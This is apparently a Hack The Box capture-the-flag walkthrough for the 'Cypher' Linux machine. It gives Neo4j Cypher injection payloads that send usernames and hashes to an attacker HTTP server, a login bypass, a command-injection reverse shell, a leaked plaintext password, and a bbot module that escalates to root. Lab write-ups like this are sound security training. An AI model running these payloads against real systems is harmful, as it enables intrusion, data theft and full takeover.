> m4rt@CTF_ARCHIVE:~$

Hack The Box / LINUX / 2025-03-08

Hack The Box — Cypher (Linux)

Neo4j Cypher injection leads to auth bypass and data exfiltration, a vulnerable custom APOC function gives command injection, and privileged BBOT module loading yields root.

Target

  • IP: 10.129.231.244

Recon

sudo nmap -sC -sV 10.129.231.244 -p- -T5 -v
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
|_  256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cypher.htb/
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Add cypher.htb to /etc/hosts.

Go to http://cypher.htb/.

Go to http://cypher.htb/login.

There is a login form.

Try entering a single quote (') in the username.

We get an error.

We notice:

neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError} {message: Failed to parse string literal. The query must contain an even number of non-escaped quotes. (line 1, column 55 (offset: 54))
"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = ''' return h.value as hash"
                                                       ^}

We have the query:

MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = ''' return h.value as hash

We can perform Neo4j Cypher injection.

Useful references:

  • https://book.hacktricks.wiki/en/pentesting-web/sql-injection/cypher-injection-neo4j.html?highlight=neo4j#cypher-injection-neo4j
  • https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits
  • https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8
  • https://hackmd.io/@Chivato/rkAN7Q9NY

Start a Python HTTP server:

python3 -m http.server 8000

Now use this payload in username:

' OR 1=1 CALL db.labels() YIELD label AS d LOAD CSV FROM "http://10.10.14.3:8000/?c="+ d AS line RETURN line // 

Click Sign in.

In the Python server terminal we get:

10.129.231.244 - - [04/Mar/2025 21:53:41] "GET /?c=USER HTTP/1.1" 200 -
10.129.231.244 - - [04/Mar/2025 21:53:42] "GET /?c=HASH HTTP/1.1" 200 -
10.129.231.244 - - [04/Mar/2025 21:53:42] "GET /?c=DNS_NAME HTTP/1.1" 200 -
10.129.231.244 - - [04/Mar/2025 21:53:42] "GET /?c=SHA1 HTTP/1.1" 200 -
10.129.231.244 - - [04/Mar/2025 21:53:42] "GET /?c=SCAN HTTP/1.1" 200 -
10.129.231.244 - - [04/Mar/2025 21:53:42] "GET /?c=ORG_STUB HTTP/1.1" 200 -
10.129.231.244 - - [04/Mar/2025 21:53:42] "GET /?c=IP_ADDRESS HTTP/1.1" 200 -
' OR 1=1 WITH collect(u.name) AS userList UNWIND userList AS x LOAD CSV FROM "http://10.10.14.3:8000/?c=" + x AS line RETURN line //

We get only one user:

10.129.231.244 - - [04/Mar/2025 22:52:47] "GET /?c=graphasm HTTP/1.1" 200 -
' OR 1=1 WITH collect(h.value) AS hashList UNWIND hashList AS x LOAD CSV FROM "http://10.10.14.3:8000/?c=" + x AS line RETURN line //

We get only one hash:

10.129.231.244 - - [04/Mar/2025 22:53:48] "GET /?c=9f54ca4c130be6d529a56dee59dc2b2090e43acf HTTP/1.1" 200 -
' OR 1=1 LOAD CSV FROM "http://10.10.14.3:8000/?c="+ u.name + ':' + h.value AS line RETURN line // 
10.129.231.244 - - [04/Mar/2025 21:41:56] "GET /?c=graphasm:9f54ca4c130be6d529a56dee59dc2b2090e43acf HTTP/1.1" 200 -

The hash does not crack.

But we can bypass login.

For example, use password a.

echo -n 'a' | sha1sum
86f7e437faa5a7fce15d1ddcb9eaeaea377667b8  -

Now put this in username:

' OR 1=1 return '86f7e437faa5a7fce15d1ddcb9eaeaea377667b8' as hash //

And in password:

a

Click Sign in.

We are inside.

Now URL is: http://cypher.htb/demo.

This page allows arbitrary Cypher queries.

gobuster dir -u 'http://cypher.htb/' -w /home/kali/SecLists/Discovery/Web-Content/raft-small-words.txt -t 50
/login                (Status: 200) [Size: 3671]
/index                (Status: 200) [Size: 4562]
/api                  (Status: 307) [Size: 0] [--> /api/docs]
/demo                 (Status: 307) [Size: 0] [--> /login]
/.                    (Status: 200) [Size: 4562]
/testing              (Status: 301) [Size: 178] [--> http://cypher.htb/testing/]
/about                (Status: 200) [Size: 4986]

Go to http://cypher.htb/testing/.

You can download: custom-apoc-extension-1.0-SNAPSHOT.jar.

Download it and open with JD-GUI:

jd-gui

There are two interesting files: CustomFunctions.class and HelloWorldProcedure.class.

In CustomFunctions.class there is this function:

public Stream<StringOutput> getUrlStatusCode(@Name("url") String url) throws Exception {
    if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://"))
      url = "https://" + url; 
    String[] command = { "/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url };
    System.out.println("Command: " + Arrays.toString((Object[])command));
    [...]

So this custom function executes a shell command.

Go back to http://cypher.htb/demo.

Enter any query.

Intercept request in Burp.

The request format is:

GET /api/cypher?query=a HTTP/1.1

Send it to Repeater.

Set query parameter to this (URL-encode with Burp):

CALL custom.getUrlStatusCode("http://example.com")

We get:

[{"statusCode":"0"}]

Now we can do command injection.

We can get a reverse shell.

Start netcat listener:

nc -vlnp 4444

Use query:

CALL custom.getUrlStatusCode("http://example.com ; bash -c 'bash -i >& /dev/tcp/10.10.14.3/4444 0>&1'")

We get a reverse shell as neo4j.

ls /home

There is a user graphasm.

cd /home/graphasm
cat bbot_preset.yml
targets:
  - ecorp.htb

output_dir: /home/graphasm/bbot_scans

config:
  modules:
    neo4j:
      username: neo4j
      password: cU4btyib.20xtCMCXkBmerhK
ssh graphasm@cypher.htb

Use found password.

sudo -l
Matching Defaults entries for graphasm on cypher:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User graphasm may run the following commands on cypher:
    (ALL) NOPASSWD: /usr/local/bin/bbot
file /usr/local/bin/bbot
/usr/local/bin/bbot: symbolic link to /opt/pipx/venvs/bbot/bin/bbot
file /opt/pipx/venvs/bbot/bin/bbot
/opt/pipx/venvs/bbot/bin/bbot: Python script, ASCII text executable
cat /opt/pipx/venvs/bbot/bin/bbot
#!/opt/pipx/venvs/bbot/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from bbot.cli import main
if __name__ == '__main__':
    sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
    sys.exit(main())

This appears to be:

https://github.com/blacklanternsecurity/bbot

We can create a custom preset that loads a custom module that executes a command.

On attacker machine, start netcat listener:

nc -vlnp 4444

On target machine, create file /dev/shm/rev with content:

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.3/4444 0>&1

Make it executable:

chmod +x /dev/shm/rev

Create file /dev/shm/presets/mypreset.yml with content:

description: Custom preset

module_dirs:
  - /dev/shm/modules

modules:
  - mymodule

Create file /dev/shm/modules/mymodule.py with content:

from bbot.modules.base import BaseModule
import asyncio

class mymodule(BaseModule):
    watched_events = ['*']

    async def handle_event(self, event):
        ret = await self.run_process("/dev/shm/rev")

        for line in ret.stdout.splitlines():
            print(line)

        return ret.stdout

Now run:

sudo bbot -c 'home=/dev/shm' -p presets/mypreset

We get a reverse shell as root.